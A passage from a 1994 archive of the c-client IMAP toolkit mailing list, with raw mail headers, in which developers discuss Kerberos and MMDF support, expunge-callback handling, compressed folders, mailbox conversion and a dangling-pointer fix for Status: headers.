) id AA07412; Thu, 9 Jun 94 10:53:02 -0700 Received: by mx1.cac.washington.edu (5.65+UW94.4/UW-NDC Revision: 2.30 ) id AA28878; Thu, 9 Jun 94 10:50:07 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Return-Path: Received: from PO6.ANDREW.CMU.EDU by mx1.cac.washington.edu (5.65+UW94.4/UW-NDC Revision: 2.30 ) id AA28870; Thu, 9 Jun 94 10:50:05 -0700 Received: (from postman@localhost) by po6.andrew.cmu.edu (8.6.7/8.6.6) id NAA15693 for c-client@cac.washington.edu; Thu, 9 Jun 1994 13:50:01 -0400 Received: via switchmail; Thu, 9 Jun 1994 13:49:59 -0400 (EDT) Received: from hogtown.andrew.cmu.edu via qmail ID ; Thu, 9 Jun 1994 13:48:21 -0400 (EDT) Received: from hogtown.andrew.cmu.edu via qmail ID ; Thu, 9 Jun 1994 13:48:20 -0400 (EDT) Received: from BatMail.robin.v2.14.CUILIB.3.45.SNAP.NOT.LINKED.hogtown.andrew.cmu.edu.sun4c.411 via MS.5.6.hogtown.andrew.cmu.edu.sun4c_411; Thu, 9 Jun 1994 13:48:19 -0400 (EDT) Message-Id: Date: Thu, 9 Jun 1994 13:48:19 -0400 (EDT) From: John Gardiner Myers To: c-client@cac.washington.edu Subject: Kerberos V4 authentication diffs Beak: Is Unofficial patches to support the AUTHENTICATE KERBEROS_V4 command in the 3.3 c-client are available via anonymous FTP to ftp.andrew.cmu.edu:pub/cyrus-mail/imap-3.3-krbauth.diff No protection mechanisms are supported. -- _.John G. Myers Internet: jgm+@CMU.EDU LoseNet: ...!seismo!ihnp4!wiscvm.wisc.edu!give!up From pinedev@shivax2.cac.washington.edu Fri Jun 17 04:39:57 1994 -0700 Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65+UW94.4/UW-NDC Revision: 2.30 ) id AA18147; Fri, 17 Jun 94 04:39:57 -0700 Received: by mx2.cac.washington.edu (5.65+UW94.4/UW-NDC Revision: 2.30 ) id AA08761; Fri, 17 Jun 94 04:39:34 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Return-Path: Received: from tomobiki-cho.cac.washington.edu by mx2.cac.washington.edu (5.65+UW94.4/UW-NDC Revision: 2.30 ) id AA08755; Fri, 17 Jun 94 04:39:32 -0700 Received: from localhost by Tomobiki-Cho.CAC.Washington.EDU (NX5.67e/UW-NDC Revision: 2.27.MRC ) id AA01171; Fri, 17 Jun 94 04:39:29 -0700 Date: Fri, 17 Jun 1994 04:33:26 -0700 (PDT) From: Mark Crispin Subject: MMDF support To: c-client Interest List Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII The latest mail/imap-3.3.tar.Z on ftp.cac.washington.edu includes a substantially modified MMDF driver which I hope will work better for you MMDF (particularly SCO) users out there. This new version has been alpha-tested by me, but not yet beta tested; so as usual beware of possible problems. Since we don't use MMDF here, I'm dependent upon you MMDF users to let me know that it works (or not...). The biggest news is that this new MMDF driver supports both known forms of MMDF format, that is, with an mbox-style ``From '' line after the line of CTRL/A's, and without. Bugs which caused cascading lines of CTRL/A's at the end of the file have, I believe, been stomped. The bug which caused the trailing line of CTRL/A's to appear in the end of the message text has also been fixed. Thanks to the people who supplied me with authentic MMDF email data. This give me the information I needed to get the MMDF support right. -- Mark -- From pinedev@shivax2.cac.washington.edu Mon Jul 11 17:52:04 1994 -0700 Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65+UW94.4/UW-NDC Revision: 2.30 ) id AA03249; Mon, 11 Jul 94 17:52:04 -0700 Received: by mx2.cac.washington.edu (5.65+UW94.4/UW-NDC Revision: 2.30 ) id AA25808; Mon, 11 Jul 94 17:51:49 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Return-Path: Received: from CAMIS.Stanford.EDU by mx2.cac.washington.edu (5.65+UW94.4/UW-NDC Revision: 2.30 ) id AA25802; Mon, 11 Jul 94 17:51:47 -0700 Received: from mac-treister.stanford.edu (Mac-Treister.Stanford.EDU [36.95.0.149]) by CAMIS.Stanford.EDU (8.6.8.1/8.6.5) with SMTP id RAA12901; Mon, 11 Jul 1994 17:51:41 -0700 Date: Mon, 11 Jul 94 17:52:30 -0700 From: Adam Treister To: c-client@cac.washington.edu Subject: expunging minds want to know Message-Id: Content-Type: TEXT/plain; charset=US-ASCII I think I've got expunging working okay, but wanted to confirm an assumption: is the message number in the MESSAGECACHE of an expunged message always going to be zero? Silly me, I spent a day crashing cuz I would respond to a mm_expunged(43) by looking for the message with msgNo == 43. That would cause me to remove message 44, and leave 43 in place til the next redraw when I'd end up in mm_fatal(). When I started looking for msgNo == 0, things started to work. Does this also mean that I can ignore all mm_expunged other than setting a flag that some expunges have occurred, and then remove ALL msgs with msgNo == 0 when the solicited reply comes back (or next time I get back to the main event loop) ? How long am I guarenteed that the MESSAGECACHE* will be valid? Because of all the broadcasting I have to do, it feels quite inefficient. I guess in reality it happens relatively rarely and search a bunch of linked lists a few extra times ain't gonna kill nobody. BTW: Mailstrom v2a15 is on lindy.stanford.edu. Pending correction to assumptions explained above, this version does handle expunges, (and does so as they come in). A couple people have reported pbs as the prefs are created. I can't reproduce it, but have put a prefs file up too, in case you have this trouble. But I'd appreciate any feedback from folk who have a little time to kill. Adam From pinedev@shivax2.cac.washington.edu Tue Jul 12 00:01:14 1994 -0700 Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65+UW94.4/UW-NDC Revision: 2.30 ) id AA10873; Tue, 12 Jul 94 00:01:14 -0700 Received: by mx2.cac.washington.edu (5.65+UW94.4/UW-NDC Revision: 2.30 ) id AA01320; Tue, 12 Jul 94 00:00:53 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Return-Path: Received: from tomobiki-cho.cac.washington.edu by mx2.cac.washington.edu (5.65+UW94.4/UW-NDC Revision: 2.30 ) id AA01312; Tue, 12 Jul 94 00:00:51 -0700 Received: from localhost by Tomobiki-Cho.CAC.Washington.EDU (NX5.67e/UW-NDC Revision: 2.27.MRC ) id AA13331; Tue, 12 Jul 94 00:00:45 -0700 Date: Mon, 11 Jul 1994 23:40:11 -0700 (PDT) From: Mark Crispin Subject: re: expunging minds want to know To: Adam Treister Cc: c-client Interest List In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Adam - It's probably better to ask me these kinds of directly rather than sending it to the entire c-client list, unless it's of general interest. On Mon, 11 Jul 94 17:52:30 -0700, Adam Treister wrote: > I think I've got expunging working okay, but wanted to confirm an > assumption: is the message number in the MESSAGECACHE of an expunged > message always going to be zero? There are no guarantees that this will be the case, now or in the future. In fact, it may break in the current code, in completely unexpected and bizarre ways. > Does this also mean that I can ignore all mm_expunged other than setting a > flag that some expunges have occurred, and then remove ALL msgs with msgNo > == 0 when the solicited reply comes back (or next time I get back to the > main event loop) ? When you get an mm_expunged() event, the associated elt (a MESSAGECACHE*) has already been freed (lock count decremented, and fs_give() called if the lock count reaches zero). In other words, it is quite likely that you are referencing a pointer to freed memory in the algorithm you are presently describing. This is double-plus ungood, and will cause totally wierd bugs. The sole purpose of the elt->msgno being set to zero is in the case where the lock count is non-zero; that is, some resource has a pointer to the message. The zero elt->msgno lets that resource know that there the associated message no longer exists, and thus mail_fetchstructure(), mail_fetchtext(), etc. can no longer be called. Please do not try to use this as a flag. The correct way to respond to mm_expunged(43) is to removed the 43rd element in your per-message structure. You should not in any way depend upon the elt. > How long am I guarenteed that the MESSAGECACHE* will be valid? It isn't valid, unless it's been locked; and if you use elt locking then you are required to increment the lock count each time you copy the pointer and call mail_free_elt() each time you drop the pointer. Otherwise you will have the Memory Leak From Hell. I strongly recommend against using elt locking for the purpose of protecting your current algorithm that depends upon elt->msgno. -- Mark -- From pinedev@shivax2.cac.washington.edu Fri Jul 15 16:50:40 1994 -0700 Received: from mx1.cac.washington.edu by shivams.cac.washington.edu (5.65+UW94.4/UW-NDC Revision: 2.30 ) id AA29350; Fri, 15 Jul 94 16:50:40 -0700 Received: by mx1.cac.washington.edu (5.65+UW94.4/UW-NDC Revision: 2.30 ) id AA06406; Fri, 15 Jul 94 16:50:12 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Return-Path: Received: from CAMIS.Stanford.EDU by mx1.cac.washington.edu (5.65+UW94.4/UW-NDC Revision: 2.30 ) id AA06400; Fri, 15 Jul 94 16:50:05 -0700 Received: from mac-treister.stanford.edu (Mac-Treister.Stanford.EDU [36.95.0.149]) by CAMIS.Stanford.EDU (8.6.8.1/8.6.5) with SMTP id QAA18212; Fri, 15 Jul 1994 16:50:02 -0700 Date: Fri, 15 Jul 94 16:50:51 -0700 From: Adam Treister To: Mark Crispin Subject: Re: expunging minds want to know Cc: c-client Interest List Message-Id: In-Reply-To: Your message of Mon, 11 Jul 1994 23:40:11 -0700 (PDT) Content-Type: TEXT/plain; charset=US-ASCII Mark, > It's probably better to ask me these kinds of directly > rather than sending it to the entire c-client list, > unless it's of general interest. I think this may be of general interest. At least I'd like to hear arguments from other client writers, cuz they may offer me better solutions that what you are proposing. > You should not in any way depend upon the elt. > The correct way to respond to mm_expunged(43) is to > removed the 43rd element in your per-message structure. This is not really satisfactory to me. My "per-message structure" can be sorted or filtered (a subset). Msg 43 may very well not be in this structure, or may be the 12th item. In all other cases I have been effectively living without knowing what message 43 is, cuz I have a pointer to the right MESSAGECACHE and can ask it for its msgNo. I thought I could build a temp array as the Expunge command is sent that maintains the mapping for the life of the expunge. But unsolicited expunges necessitate me maintaining this array in my mailbox object ALL THE TIME, which I don't really want to do. I hope youre sitting, cuz the best solution I can see is to change YOUR code to: void mail_expunged (MAILSTREAM *stream,long msgno) { long i; if (!stream->silent) mm_expunged (stream,msgno); // **** ADAM MOVED THIS UP i = msgno - 1; MESSAGECACHE *elt = (MESSAGECACHE *) (*mailcache) (stream,msgno,CH_ELT); if (elt) { /* if an element is there */ elt->msgno = 0; /* invalidate its message number and free */ (*mailcache) (stream,msgno,CH_FREE); } /* expunge the slot */ (*mailcache) (stream,msgno,CH_EXPUNGE); --stream->nmsgs; /* update stream status */ /* notify main program of change */ // if (!stream->silent) mm_expunged (stream,msgno); // **** ADAM DOES THIS FIRST } This propagates the mm_expunged BEFORE freeing the element so my code is guaranteed to have the element around and lets me look for the message number, which will still be 43 in our example. Multi-thread races could complicate this a little, but not on the Mac :) >From what you say, I don't see how my change would break others code, if they don't rely on the element (as they currently shouldn't), but I'd like to propose this change to future versions of c-client, unless others shoot me down in flames. It does seem to me its more standard programming practice to notify dependents of changes before the notifier breaks links. Is there a new c-client in the works, complying with IMAP4? Assuming you're amenable to this change (yes, its a big assumption) I have a couple other changes to request. One is optional logging capabilities, which I've had to insert in imap_send, imap_parse_reply, and imap_send_literal. The other is that I'd like to replace all the hard-coded strings with localizable string references. I acknowledge how evil it is to tweak underlying libraries, and would like to follow proper channels to get all these things incorporated in the official version. Adam From pinedev@shivax2.cac.washington.edu Fri Jul 15 16:59:37 1994 -0700 Received: from mx1.cac.washington.edu by shivams.cac.washington.edu (5.65+UW94.4/UW-NDC Revision: 2.30 ) id AA29672; Fri, 15 Jul 94 16:59:37 -0700 Received: by mx1.cac.washington.edu (5.65+UW94.4/UW-NDC Revision: 2.30 ) id AA06617; Fri, 15 Jul 94 16:59:20 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Return-Path: Received: from shiva1.cac.washington.edu by mx1.cac.washington.edu (5.65+UW94.4/UW-NDC Revision: 2.30 ) id AA06606; Fri, 15 Jul 94 16:59:17 -0700 Received: by shiva1.cac.washington.edu (5.65+UW94.4/UW-NDC Revision: 2.30 ) id AA00791; Fri, 15 Jul 94 16:59:12 -0700 Date: Fri, 15 Jul 1994 16:59:11 -0700 (PDT) From: Terry Gray To: Adam Treister Cc: Mark Crispin , c-client Interest List Subject: Re: expunging minds want to know In-Reply-To: Message-Id: X-Wise-Saying: None Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII > I hope youre sitting, cuz the best solution I can see is to change YOUR > code to: Mark probably *is* sitting, but not in front of a terminal --he's on vacation til the middle of next week. (Just didn't want you to mis-interpret any lack of response...) -teg From pinedev@shivax2.cac.washington.edu Sun Jul 17 06:07:22 1994 -0700 Received: from mx1.cac.washington.edu by shivams.cac.washington.edu (5.65+UW94.4/UW-NDC Revision: 2.30 ) id AA17001; Sun, 17 Jul 94 06:07:22 -0700 Received: by mx1.cac.washington.edu (5.65+UW94.4/UW-NDC Revision: 2.30 ) id AA04754; Sun, 17 Jul 94 06:06:44 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Return-Path: Received: from mail.swip.net by mx1.cac.washington.edu (5.65+UW94.4/UW-NDC Revision: 2.30 ) id AA04748; Sun, 17 Jul 94 06:06:33 -0700 Received: from li.icl.se by mail.swip.net (8.6.8/2.01) id PAA17105; Sun, 17 Jul 1994 15:06:24 +0200 Received: from pctomku by li.icl.se (4.1/LI.ICL.SE/1.0) id AA00504; Sun, 17 Jul 94 15:09:31 +0200 Message-Id: <9407171309.AA00504@li.icl.se> Date: Sun, 17 Jul 1994 15:05:23 -0100 From: Tomas Kullman Reply-To: tomku@li.icl.se Subject: Re: expunging minds want to know To: Adam Treister , Mark Crispin , Adam Treister , Mark Crispin Cc: c-client Interest List , c-client Interest List X-Mailer: PC Mail Manager 1.1 ALFA Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Adam, > This propagates the mm_expunged BEFORE freeing the element so my code is guaranteed to have the > element around and lets me look for the message number, which will still be 43 in our example. > Multi-thread races could complicate this a little, but not on the Mac :) > > >From what you say, I don't see how my change would break others code, if they don't rely on the > element (as they currently shouldn't), but I'd like to propose this change to future versions of > c-client, unless others shoot me down in flames. It does seem to me its more standard programming > practice to notify dependents of changes before the notifier breaks links. I think your suggested change is reasonable. I agree with you about the practice of notification. > Is there a new c-client in the works, complying with IMAP4? Assuming you're amenable to this change > (yes, its a big assumption) I have a couple other changes to request. One is optional logging > capabilities, which I've had to insert in imap_send, imap_parse_reply, and imap_send_literal. The > other is that I'd like to replace all the hard-coded strings with localizable string references. I > acknowledge how evil it is to tweak underlying libraries, and would like to follow proper channels > to get all these things incorporated in the official version. You're right, hard-coded strings are bad in these circumstances. In fact, I don't like the idea of language dependent strings in an API at all. Making c-client language independent will certainly help us in this matter. We have done these evil tweakings ourselfs but prefer not doing it if possible. Tomas From pinedev@shivax2.cac.washington.edu Mon Aug 22 13:26:03 1994 -0700 Received: from mx1.cac.washington.edu by shivams.cac.washington.edu (5.65+UW94.4/UW-NDC Revision: 2.30 ) id AA13308; Mon, 22 Aug 94 13:26:03 -0700 Received: by mx1.cac.washington.edu (5.65+UW94.4/UW-NDC Revision: 2.30 ) id AA15935; Mon, 22 Aug 94 13:25:30 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Return-Path: Received: from turtle.mrj.com by mx1.cac.washington.edu (5.65+UW94.4/UW-NDC Revision: 2.30 ) id AA15929; Mon, 22 Aug 94 13:25:17 -0700 Received: from flash.mrj.com (flash.mrj.com [192.101.175.30]) by turtle.mrj.com (8.6.4/8.6.4) with ESMTP id QAA12299 for ; Mon, 22 Aug 1994 16:22:53 -0400 Received: from localhost (kmayer@localhost) by flash.mrj.com (8.6.4/8.6.4) id QAA03863; Mon, 22 Aug 1994 16:22:52 -0400 Date: Mon, 22 Aug 1994 16:22:52 -0400 (EDT) From: Ken Mayer Subject: Need help modifying folder driver to read compressed folders To: c-client@cac.washington.edu Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII I posted the following to comp.mail.pine: >I was wondering how difficult would it be to extend pine to be able to >read compressed mail folders? I have a lot mail that I need to keep around, >but rarely read. It would be great if I could gzip them down and when I >needed to, pine would automatically gunzip them for me. And I got the following reply: >From: David L Miller >Subject: Re: Reading compressed files >Date: Fri, 19 Aug 1994 13:27:03 -0700 (PDT) >Organization: University of Washington > >It should be reasonably easy to add a compressed folder driver to Pine >(c-client actually), perhaps as little as a few dozen lines of code. >Contact c-client@cac.washington.edu if you would like some pointers >getting started... So here I am writing to you for a starting point to add a hook to the folder driver so Pine will read (*.Z, *.gz, *.zip, *.z, etc.) files on the fly. I figure that a nice generic approach is a set of regexp/command pairs in .pinerc (at least it's a start). Your help is appreciated. Regards, Ken Mayer -- Ken Mayer MRJ, Inc. (703) 385-0722 10455 White Granite Drive (703) 385-4637 fax Oakton, Virginia 22124 kmayer@mrj.com USA "OOP S&M: Drag me. Drop me. Treat me like an object." From pinedev@shivax2.cac.washington.edu Mon Aug 22 14:17:32 1994 -0700 Received: from mx1.cac.washington.edu by shivams.cac.washington.edu (5.65+UW94.4/UW-NDC Revision: 2.30 ) id AA16075; Mon, 22 Aug 94 14:17:32 -0700 Received: by mx1.cac.washington.edu (5.65+UW94.4/UW-NDC Revision: 2.30 ) id AA17038; Mon, 22 Aug 94 14:17:18 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Return-Path: Received: from tomobiki-cho.cac.washington.edu by mx1.cac.washington.edu (5.65+UW94.4/UW-NDC Revision: 2.30 ) id AA17032; Mon, 22 Aug 94 14:17:16 -0700 Received: from UW-Gateway.Panda.COM by Tomobiki-Cho.CAC.Washington.EDU (NX5.67e/UW-NDC Revision: 2.27.MRC ) id AA28515; Mon, 22 Aug 94 14:17:06 -0700 Received: from localhost by Ikkoku-Kan.Panda.COM (NX5.67e/UW-NDC/Panda Revision: 2.27.MRC ) id AA02264; Mon, 22 Aug 94 14:16:55 -0700 Date: Mon, 22 Aug 1994 13:30:34 -0700 (PDT) From: Mark Crispin Subject: re: Need help modifying folder driver to read compressed folders To: Ken Mayer Cc: c-client Interest List In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Ken - We at UW are now discussing the possibility of supporting compressed mail folders in c-client now. I don't believe we can use .pinerc if the support for compression is in c-client, since there are other applications which use c-client besides Pine. I imagine that we'll be implementing support for this sometime in the next few months. If you'd like to go it alone without waiting for us, you probably want to write a driver which recognizes compressed files in the driver's valid method, and then in its open method uncompresses and does a new driver search and open (much as the dummy driver does with empty folders that become non-empty). If you need to recompress, then instead of switching drivers midstream you'll probably want to open a subordinate mail stream so that you can catch the close method and recompress. -- Mark -- From pinedev@shivax2.cac.washington.edu Mon Aug 29 01:29:57 1994 -0700 Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65+UW94.4/UW-NDC Revision: 2.30 ) id AA04970; Mon, 29 Aug 94 01:29:57 -0700 Received: by mx2.cac.washington.edu (5.65+UW94.4/UW-NDC Revision: 2.30 ) id AA27372; Mon, 29 Aug 94 01:29:41 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Return-Path: Received: from mail.nada.kth.se by mx2.cac.washington.edu (5.65+UW94.4/UW-NDC Revision: 2.30 ) id AA27366; Mon, 29 Aug 94 01:29:39 -0700 Received: from staff.nada.kth.se by mail.nada.kth.se (5.61-bind 1.4+ida/nada-mx-1.0) id AA29429; Mon, 29 Aug 94 10:29:37 +0200 Message-Id: <9408290829.AA29429@nada.kth.se> To: c-client Interest List Subject: Convert to/from Tenex (mail.txt) format? Date: Mon, 29 Aug 1994 10:29:32 +0200 From: Peter Svanberg Before deciding if I shall start using the Tenex format I would like to know what ways there are to convert between that and some more common format - "Berkely" or MH. I would like to be able to convert in both directions. (It doesn't seem to be possible to do it with just a quick hack.) --- Peter Svanberg, NADA, KTH Email: psv@nada.kth.se Dept of Num An & CS, Royal Inst of Tech Phone: +46 8 790 71 40 S-100 44 Stockholm, SWEDEN Fax: +46 8 790 09 30 From pinedev@shivax2.cac.washington.edu Mon Aug 29 01:44:04 1994 -0700 Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65+UW94.4/UW-NDC Revision: 2.30 ) id AA05514; Mon, 29 Aug 94 01:44:04 -0700 Received: by mx2.cac.washington.edu (5.65+UW94.4/UW-NDC Revision: 2.30 ) id AA27615; Mon, 29 Aug 94 01:43:56 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Return-Path: Received: from tomobiki-cho.cac.washington.edu by mx2.cac.washington.edu (5.65+UW94.4/UW-NDC Revision: 2.30 ) id AA27609; Mon, 29 Aug 94 01:43:53 -0700 Received: from UW-Gateway.Panda.COM by Tomobiki-Cho.CAC.Washington.EDU (NX5.67e/UW-NDC Revision: 2.27.MRC ) id AA05687; Mon, 29 Aug 94 01:43:46 -0700 Received: from localhost by Ikkoku-Kan.Panda.COM (NX5.67e/UW-NDC/Panda Revision: 2.27.MRC ) id AA27403; Mon, 29 Aug 94 01:43:40 -0700 Date: Mon, 29 Aug 1994 01:43:02 -0700 (PDT) From: Mark Crispin Subject: re: Convert to/from Tenex (mail.txt) format? To: Peter Svanberg Cc: c-client Interest List In-Reply-To: <9408290829.AA29429@nada.kth.se> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII The mbxcvt tool (available on the ftp.cac.washington.edu server) will convert a mailbox between any formats supported by c-client. From pinedev@shivax2.cac.washington.edu Mon Aug 29 09:02:41 1994 -0700 Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65+UW94.4/UW-NDC Revision: 2.30 ) id AA17051; Mon, 29 Aug 94 09:02:41 -0700 Received: by mx2.cac.washington.edu (5.65+UW94.4/UW-NDC Revision: 2.30 ) id AA06023; Mon, 29 Aug 94 09:02:30 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Return-Path: Received: from Sun.COM by mx2.cac.washington.edu (5.65+UW94.4/UW-NDC Revision: 2.30 ) id AA06017; Mon, 29 Aug 94 09:02:28 -0700 Received: from Eng.Sun.COM (zigzag.Eng.Sun.COM) by Sun.COM (sun-barr.Sun.COM) id AA16132; Mon, 29 Aug 94 09:02:27 PDT Received: from hape.eng.sun.com by Eng.Sun.COM (4.1/SMI-4.1) id AA12319; Mon, 29 Aug 94 09:04:33 PDT Received: from roam by hape.eng.sun.com (5.0/SMI-SVR4) id AA18115; Mon, 29 Aug 1994 09:02:58 +0800 Date: Mon, 29 Aug 1994 08:59:47 -800 (PDT) From: Bill Yeager Reply-To: Bill Yeager Subject: Re: Convert to/from Tenex (mail.txt) format? To: c-client Interest List , Peter Svanberg Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Content-Length: 196 Well, you could get a copy of Columbia's MM. It will convert files by simply copying all of the messages. MM runs on most unix os's. Bill PS> The sources are ftp'able but I forget the address. From pinedev@shivax2.cac.washington.edu Wed Sep 21 08:36:18 1994 -0700 Received: from mx1.cac.washington.edu by shivams.cac.washington.edu (5.65+UW94.4/UW-NDC Revision: 2.30 ) id AA06058; Wed, 21 Sep 94 08:36:18 -0700 Received: by mx1.cac.washington.edu (5.65+UW94.4/UW-NDC Revision: 2.30 ) id AA13103; Wed, 21 Sep 94 08:35:39 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Return-Path: Received: from mail.nada.kth.se by mx1.cac.washington.edu (5.65+UW94.4/UW-NDC Revision: 2.30 ) id AA13093; Wed, 21 Sep 94 08:35:31 -0700 Received: from staff.nada.kth.se by mail.nada.kth.se (5.61-bind 1.4+ida/nada-mx-1.0) id AA08846; Wed, 21 Sep 94 17:35:23 +0200 Message-Id: <9409211535.AA08846@nada.kth.se> To: c-client Interest List Subject: C-client removes header lines? Date: Wed, 21 Sep 1994 17:35:23 +0200 From: Peter Svanberg Given a bezerk-format file with a message containing >From : From: ... Status: RO Subject: Test 3 I just noticed that C-client seems to remove all header lines following a "Status:" header - Subject in this case! How come? (I opened this file in Pine 3.90, flagged this message as "Important" and afterwards it looked like >From : From: ... Status: RO X-Status: F .) --- Peter Svanberg, NADA, KTH Email: psv@nada.kth.se Dept of Num An & CS, Royal Inst of Tech Phone: +46 8 790 71 40 S-100 44 Stockholm, SWEDEN Fax: +46 8 790 09 30 From pinedev@shivax2.cac.washington.edu Wed Sep 21 10:43:08 1994 -0700 Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65+UW94.4/UW-NDC Revision: 2.30 ) id AA12077; Wed, 21 Sep 94 10:43:08 -0700 Received: by mx2.cac.washington.edu (5.65+UW94.4/UW-NDC Revision: 2.30 ) id AA29266; Wed, 21 Sep 94 10:42:52 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Return-Path: Received: from tomobiki-cho.cac.washington.edu by mx2.cac.washington.edu (5.65+UW94.4/UW-NDC Revision: 2.30 ) id AA29257; Wed, 21 Sep 94 10:42:50 -0700 Received: from UW-Gateway.Panda.COM by Tomobiki-Cho.CAC.Washington.EDU (NX5.67e/UW-NDC Revision: 2.27.MRC ) id AA15332; Wed, 21 Sep 94 10:42:42 -0700 Received: from localhost by Ikkoku-Kan.Panda.COM (NX5.67e/UW-NDC/Panda Revision: 2.27.MRC ) id AA27178; Wed, 21 Sep 94 10:42:34 -0700 Date: Wed, 21 Sep 1994 10:37:33 -0700 (PDT) From: Mark Crispin Subject: re: C-client removes header lines? To: Peter Svanberg Cc: c-client Interest List In-Reply-To: <9409211535.AA08846@nada.kth.se> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII On Wed, 21 Sep 1994 17:35:23 +0200, Peter Svanberg wrote: > I just noticed that C-client seems to remove all header lines > following a "Status:" header - Subject in this case! How come? I found, and fixed, a bug yesterday which caused c-client to crash when a Status: or X-Status: header appeared in the middle of a header instead of at the end of the header where it belongs. Your problem is another symptom of that same bug. The problem is a dangling pointer. The fix is to look for a comment which reads /* yuck!! calculate size of delete area */ in bezerk.c and mmdf.c. Before the e = NIL; /* no more delete area */ line, insert s = e; /* back up pointer */ The latest mail/imap.tar.Z has this fix. There are other important fixes in as well. -- Mark -- From pinedev@shivax2.cac.washington.edu Thu Sep 22 03:32:27 1994 -0700 Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65+UW94.4/UW-NDC Revision: 2.30 ) id AA13223; Thu, 22 Sep 94 03:32:27 -0700 Received: by mx2.cac.washington.edu (5.65+UW94.9/UW-NDC Revision: 2.30 ) id AA16795; Thu, 22 Sep 94 03:32:13 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Return-Path: Received: from mail.nada.kth.se by mx2.cac.washington.edu (5.65+UW94.9/UW-NDC Revision: 2.30 ) id AA16789; Thu, 22 Sep 94 03:32:11 -0700 Received: from staff.nada.kth.se by mail.nada.kth.se (5.61-bind 1.4+ida/nada-mx-1.0) id AA03922; Thu, 22 Sep 94 12:32:09 +0200 Message-Id: <9409221032.AA03922@nada.kth.se> To: c-client Interest List Subject: Re: C-client removes header lines? In-Reply-To: from "Mark Crispin " "Wed, 21 Sep 1994 10:37:33 -0700 (PDT) " Date: Thu, 22 Sep 1994 12:32:08 +0200 From: Peter Svanberg Quoting: Mark Crispin > > I found, and fixed, a bug yesterday which caused c-client to crash when a > Status: or X-Status: header appeared in the middle of a header instead of at > the end of the header where it belongs. Your problem is another symptom of > that same bug. The problem is a dangling pointer. : > The latest mail/imap.tar.Z has this fix. There are other important fixes in > as well. OK. Can this code be used instead of the C-client code delivered with Pine 3.90? Peter Svanberg, NADA, KTH From pinedev@shivax2.cac.washington.edu Thu Sep 22 12:05:07 1994 -0700 Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65+UW94.4/UW-NDC Revision: 2.30 ) id AA00150; Thu, 22 Sep 94 12:05:07 -0700 Received: by mx2.cac.washington.edu (5.65+UW94.9/UW-NDC Revision: 2.30 ) id AA26068; Thu, 22 Sep 94 12:03:33 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Return-Path: Received: from tomobiki-cho.cac.washington.edu by mx2.cac.washington.edu (5.65+UW94.9/UW-NDC Revision: 2.30 ) id AA26060; Thu, 22 Sep 94 12:03:31 -0700 Received: from UW-Gateway.Panda.COM by Tomobiki-Cho.CAC.Washington.EDU (NX5.67e/UW-NDC Revision: 2.27.MRC ) id AA16448; Thu, 22 Sep 94 12:02:56 -0700 Received: from localhost by Ikkoku-Kan.Panda.COM (NX5.67e/UW-NDC/Panda Revision: 2.27.MRC ) id AA02124; Thu, 22 Sep 94 12:01:41 -0700 Date: Thu, 22 Sep 1994 11:58:28 -0700 (PDT) From: Mark Crispin Subject: Re: C-client removes header lines? To: Peter Svanberg Cc: c-client Interest List In-Reply-To: <9409221032.AA03922@nada.kth.se> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII On Thu, 22 Sep 1994 12:32:08 +0200, Peter Svanberg wrote: > OK. Can this code be used instead of the C-client code > delivered with Pine 3.90? Yes, it can. However, please note that the latest version (which has the bugfix) of the IMAP toolkit on the FTP server is very often updated on a *daily* basis, and thus that code may be ALPHA TEST. There are no known bugs in it, but there's a lot of new code that has not been rigorously tested yet. From pinedev@shivax2.cac.washington.edu Thu Sep 22 23:07:15 1994 -0700 Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65+UW94.4/UW-NDC Revision: 2.30 ) id AA25049; Thu, 22 Sep 94 23:07:15 -0700 Received: by mx2.cac.washington.edu (5.65+UW94.9/UW-NDC Revision: 2.30 ) id AA10549; Thu, 22 Sep 94 23:06:56 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: 